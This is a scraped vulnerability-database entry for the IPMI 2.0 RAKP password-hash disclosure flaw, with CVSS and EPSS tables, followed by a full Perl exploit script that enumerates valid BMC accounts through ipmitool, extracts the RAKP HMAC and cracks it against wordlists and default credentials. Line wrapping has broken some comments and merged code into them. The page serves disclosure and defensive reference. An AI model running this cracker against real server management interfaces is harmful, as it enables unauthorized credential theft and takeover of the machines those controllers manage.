CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The IPMI 2.0 specification supports RMCP+ Authenticated Key-Exchange Protocol (RAKP) authentication, which allows remote attackers to obtain password hashes and conduct offline password guessing attacks by obtaining the HMAC from a RAKP message 2 response from a BMC.
Category : Credentials Management Errors Weaknesses in this category are related to the management of credentials.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V3.0
7.5
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
None
There is no loss of integrity within the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
None
There is no impact to availability within the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
7.8
AV:N/AC:L/Au:N/C:C/I:N/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
79.81%
–
–
2022-12-11
–
–
78.31%
–
–
2023-03-12
–
–
–
15.8%
–
2023-07-09
–
–
–
20.68%
–
2023-10-29
–
–
–
26.06%
–
2024-01-28
–
–
–
23.98%
–
2024-03-31
–
–
–
27.2%
–
2024-06-02
–
–
–
23.98%
–
2024-08-04
–
–
–
29.01%
–
2024-08-11
–
–
–
23.25%
–
2024-08-25
–
–
–
29.01%
–
2024-10-06
–
–
–
30.98%
–
2024-12-08
–
–
–
36.51%
–
2025-02-09
–
–
–
27.28%
–
2025-01-19
–
–
–
36.51%
–
2025-02-16
–
–
–
27.28%
–
2025-03-18
–
–
–
–
65.87%
2025-03-30
–
–
–
–
68.04%
2025-04-09
–
–
–
–
65.87%
2025-04-10
–
–
–
–
68.04%
2025-05-01
–
–
–
–
65.87%
2025-05-04
–
–
–
–
68.04%
2025-05-04
–
–
–
–
68.04,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2013-07-01 22h00 +00:00 Author : Dan Farmer EDB Verified : Yes
source: https://www.securityfocus.com/bid/61076/info
Intelligent Platform Management Interface is prone to an information-disclosure vulnerability.
Attackers can exploit this issue to obtain sensitive information that may aid password guessing attacks.
Intelligent Platform Management Interface 2.0 is vulnerable; other versions may also be affected.
#!/usr/bin/env perl
#
# Usage: rak-the-ripper [options] target
#
# dan/zen@trouble.org - 6/19/2013
#
# Special thanks to Jarrod B Johnson (<jbjohnso@us.ibm.com>), whose
# implemention of RAKP for the xCAT project
(http://xcat.sourceforge.net/)
# was instrumental to furthering my understanding of the issue.
#
#
# Remote IPMi password cracker; uses the RAKP 2 protocol to guess
passwords
# from a remote BMC. No account or information needed.
#
# Options:
#
# -d Debug... let it all out
# -i inform... every N guesses print out a status-y
line
# -n num-guesses sets N for -i option -p/path/to/words Use a file of
# passwords to guess, 1 per line -P password Use a specific password
# -u/path/to/users Use a file of users to guess, 1 per line -U
# specific-user Use a specific user, don't guess -v Verbose -version
# Print version #
#
# Explanation:
#
# IPMI v2, when using the RAKP protocol, uses HMAC hashes for
authentication
# (see page 162 of the IPMI 2.0 spec for more details.)
#
# Three factors are of interest here:
#
# 1) You can test if an account exists (RAKP will generate a
recognizable error
# if not.)
# 2) IPMI will return a (supposedly) globally unique number for a BMC.
This is
# a potentially really interesting thing - identity of a system on a
network
# is a very difficult problem. Unfortunately it looks like many
vendors
# don't implement this correctly... not sure if all 0's (a common
value)
# afects the strength of the HMAC, but...?
# 3) You get to extract the HMAC hash - and then run a password cracker
on it.
# Pretty interesting....!
#
# To start a RAKP session you can use the fine ipmitool utility (the
"lanplus"
# argument here forces IPMI 2.0):
#
# ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H
192.168.0.69 chassis identify
#
# This kicks off a back-n-forth sequence with a remote BMC; for
instance, on my iMac,
# it looks like this:
#
# client (iMac) BMC ------------- ---- 1 get channel auth
# 2 response 3 RMCP+ open session request 4 open session
# response 5 RAKP message 1 6 RAKP message 2
#
# It's in step 6 that you get the HMAC hash needed to fill in the
details.
# Fortunately ipmitool gives you all you need.
#
# You may simply parse the verbose ipmitool output, which at one point
will emit
# something that looks like:
#
# >> rakp2 mac input buffer (63 bytes)
# a4 a3 a2 a0 4c 7f fb df ec a4 a3 96 b1 d0 7e 27 cd ef 32 ae 66 cf
# 87 b9 aa 3e 97 ed 5d 39 77 4b bc 8a c5 a9 e2 da 1d d9 35 30 30 31
# 4d 53 00 00 00 00 00 00 00 00 00 00 14 05 41 44 4d 49 4e
#
# these bytes are, in order, the session IDs of the remote console &
managed system,
# the remote console's random number, the managed system's random
number,
# the managed system's GUID, the priv level, the length of the user
name,
# and finally the user name.
#
# You simply take the HMAC of that and the password (or password guess!)
# and compare it with the key exchange auth code that the BMC has sent
you.
#
# << Key exchange auth code [sha1] :
0xede8ec3caeb235dbad1210ef985b1b19cdb40496
#
# Default Users: 'admin', 'USERID', 'root', 'Administrator',
'ADMIN'
# Default Passwords: 'PASSW0RD', 'admin', 'calvin', 'changeme',
'opensource', 'password' use Time::HiRes; use IO::CaptureOutput
qw/capture_exec/; use Digest::SHA qw(hmac_sha1_hex); use Getopt::Long
qw(:config no_ignore_case); sub main::VERSION_MESSAGE {
print "$0 0.0.1\n";
exit;
};
sub main::HELP_MESSAGE {
print "Usage: $0 [options] target\n".
"\t-d\t\t\tDebug... print words as they're being guessed\n".
"\t-i\t\t\tinform... every N guesses print out a status-y line\n".
"\t-n num-guesses\t\tsets N for -i option\n".
"\t-p /path/to/words\tUse a file of passwords to guess, 1 per
line\n".
"\t-P password\t\tUse a specific password \n".
"\t-u /path/to/users\tUse a file of users to guess, 1 per line\n".
"\t-U specific-user\tUse a specific user, don't guess\n".
"\t-v\t\t\tVerbose\n".
"\t-version\t\tPrint version #\n";
exit;
};
GetOptions(
'd' => \$debug,
'h' => \$help, 'help' => \$help,
'i' => \$inform, 'inform' => \$inform,
'n=i' => \$Nguesses,
'p=s' => \$password_file,
'P=s' => \@guesses,
'u=s' => \$user_file,
'U=s' => \@users,
'v' => \$verbose,
'version' => \$version ) || die main::HELP_MESSAGE();
#
# process command line arg stuff
#
die main::HELP_MESSAGE() if (defined($help));
# the target, specified on command line
$target = $ARGV[0]; die main::HELP_MESSAGE() if ($target eq "");
# this can take awhile to finish...
print "Started at " . `date` if $verbose;
# anything > 0 and <= 20 characters would work here; ipmitool simply
needs something $pass = "fluffy-wuffy-bunny!!";
#
# Need some passwords to guess... either from file or some defaults I
made up
# Not going to cache these since they can blow up my poor mac's
memory... feel
# free to change it ;)
#
if (! defined(@guesses)) {
if ($password_file ne "") {
open(PASSWORDS, $password_file) || die "can't open user file
$password_file\n";
print "opening password file $password_file\n" if $verbose;
}
else {
print "using default passwords\n" if $verbose;
@guesses = ('PASSW0RD', 'admin', 'calvin', 'changeme',
'opensource', 'password');
}
}
#
# need to know account name... either from file or some defaults I made
up
#
if (! defined(@users)) {
if ($user_file ne "") {
open(ACCOUNTS, $user_file) || die "can't open user file
$user_file\n";
print "getting list of users from $user_file\n" if $verbose;
@users = <ACCOUNTS>;
chomp(@users);
close(ACCOUNTS);
}
else {
@users = ('admin', 'ADMIN', 'USERID', 'root', 'Administrator');
print "using default user list\n" if $verbose;
}
}
#
# a tiny subroutine to chow down on possible guesses
#
sub guesswork() {
print "\t$guess...\n" if $debug;
if ($inform) {
print "\t$n guesses (so far)...\n" if (! ($n % $Nguesses));
}
$guess_suffix = "";
$guess_suffix = "ses" if $n > 1;
# $stuff = pack 'C*', map hex, @input; print
# hmac_sha1_hex($stuff,$pass) . "\n"; print "... 0x" .
# hmac_sha1_hex($stuff,$guess) . "\n";
if ("0x" . hmac_sha1_hex($stuff,$guess) eq $hashy) {
print "...cracked in $n guess$guess_suffix...\n\nPassword for
$user is $guess\n\n";
$cracked = 1;
return 1;
}
$n++;
return(0);
}
#
# look for a user, any user... RAKP will gripe if it's not valid
#
for $user (@users) {
print("\tprobing $target for $user...\n") if $verbose;
# chassis id starts up the RP machinery
@icmd = ("ipmitool", "-I", "lanplus", "-v","-v","-v","-v", "-U",
"$user", "-P", "$pass", "-H", "$target", "chassis", "identify");
($stdout, $stderr, $success, $exit) = capture_exec( @icmd );
#
# grabbing two things - the input to calculate the hash, and the hash
itself.
# but first... hunt for a valid user on the BMC.
#
if ($stdout =~ /RMCP\+ status\s+:\s+unauthorized name/) { next; }
elsif ($stdout =~ /RMCP\+ status\s+:\s+insufficient resources for
session/) {
print "interesting... insufficient resources... try again?\n" if
$verbose;
next;
}
elsif ($stdout =~ /^\s*$/) { next; }
# kill the leading whitespace & newlines... hash is in stdout, input
data in stderr
$stderr =~ s/\n//gs;
$stdout =~ s/\n//gs;
$name_found = 1;
print "Found valid user: $user\n" if $verbose;
# after this, no need to continue with other users
@users = ();
# << Key exchange auth code [sha1] :
0x6e5d0a121e13fa8f73bfc2da15f7b012382f6be9
($hashy = $stdout) =~ m/^.*<< Key exchange auth code \[sha1\] :
([^\s]+).*$/m;
$hashy = $1;
if ($hashy eq "") { print "couldn't find an auth code, skipping\n";
next; }
($input = $stderr) =~ m/^.*>> rakp2 mac input buffer \(\d+ bytes\)
([^>]+)>>.*$/m;
$input = $1;
if ($input eq "") { print "couldn't find data to HMAC, skipping\n";
next; }
# stuff it into binary form
$stuff = pack 'C*', map hex, split(/ /, $input);
print "... searching for HMAC match for $user ($hashy)\n" if
$verbose;
$n = 1;
$cracked = 0;
# curiosity ;)
$start = Time::HiRes::gettimeofday();
if (! defined(@guesses)) {
while (($guess = <PASSWORDS>)) {
chomp($guess);
break if guesswork();
}
close(PASSWORDS);
}
else {
for $guess (@guesses) {
break if guesswork();
}
}
}
die "\nno valid accounts found\n" unless $name_found; print "$n
passwords were tried\n" if $verbose; $end = Time::HiRes::gettimeofday();
$time = $end - $start; if ($verbose && $time > 0) {
printf("time elapsed was ~ %.2f\n", $end - $start);
$per_second = $n / $time;
print "$n passwords were guessed, at the rate of $per_second per
second\n";
}
Products Mentioned
Configuraton 0
Oracle>>Fujitsu_m10_firmware >> Version To (including) 2290